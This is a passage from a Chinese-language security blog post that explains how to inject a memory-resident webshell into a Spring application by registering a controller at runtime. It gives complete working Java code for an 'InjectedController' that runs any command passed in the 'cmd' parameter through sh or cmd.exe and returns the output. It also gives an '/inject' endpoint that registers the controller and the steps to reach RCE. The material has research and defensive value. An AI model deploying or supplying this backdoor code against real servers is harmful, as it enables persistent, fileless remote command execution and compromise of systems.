  • registryMapping直接注册requestMapping

  • 直接通过getBean就能获取RequestMappingHandlerMapping

    1
    RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
  • 生成RequestMappingInfo。需要传入PatternsRequestCondition(Controller映射的URL)和RequestMethodsRequestCondition(HTTP请求方法)

    1
    2
    3
    4
    5
    PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");

    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

恶意Controller:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@RestController
public class InjectedController {
public InjectedController(){
}
public void cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}

反射获取shell方法

1
Method method = InjectedController.class.getMethod("cmd");

调用ReqgistryMapping注册

1
requestMappingHandlerMapping.registerMapping(info, injectedController, method);

完整demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package org.example.SpringController;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

@RestController
public class demo {
@RequestMapping("/inject")
public String inject() throws Exception{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

Method method = InjectedController.class.getMethod("cmd");

PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");

RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();

RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);

InjectedController injectedController = new InjectedController();

requestMappingHandlerMapping.registerMapping(info, injectedController, method);

return "Inject done";
}

@RestController
public class InjectedController {
public InjectedController(){
}
public void cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
}
}

先访问Inject进行controller注册。然后访问controller映射路径evilcontroller,带上参数就能RCE。

image-20240413183621634

image-20240413183723195

总结

Tomcat注入的三种内存马都是注册恶意的Javaweb组件。通过debug了解工作的流程,可找到控制的对象来进行注入内存马。

本文相关代码Learn-the-menShell-demo/ at master · at1ANtic/Learn-the-menShell-demo (github.com)

参考:

Java Agent 从入门到内存马 - 先知社区 (aliyun.com)

知识星球 | 深度连接铁杆粉丝,运营高品质社群,知识变现的工具 (zsxq.com)

论如何优雅的注入Java Agent内存马 - 先知社区 (aliyun.com)

Spring内存马——Controller/Interceptor构造 - 先知社区 (aliyun.com)

java Filter内存马分析 - 先知社区 (aliyun.com)

Java Listener内存马 - zpchcbd - 博客园 (cnblogs.com)

Tomcat内存马实现原理解析-servlet内存马 | 藏青’s BLOG (cangqingzhe.github.io)

Servlet内存马利用分析 - 先知社区 (aliyun.com)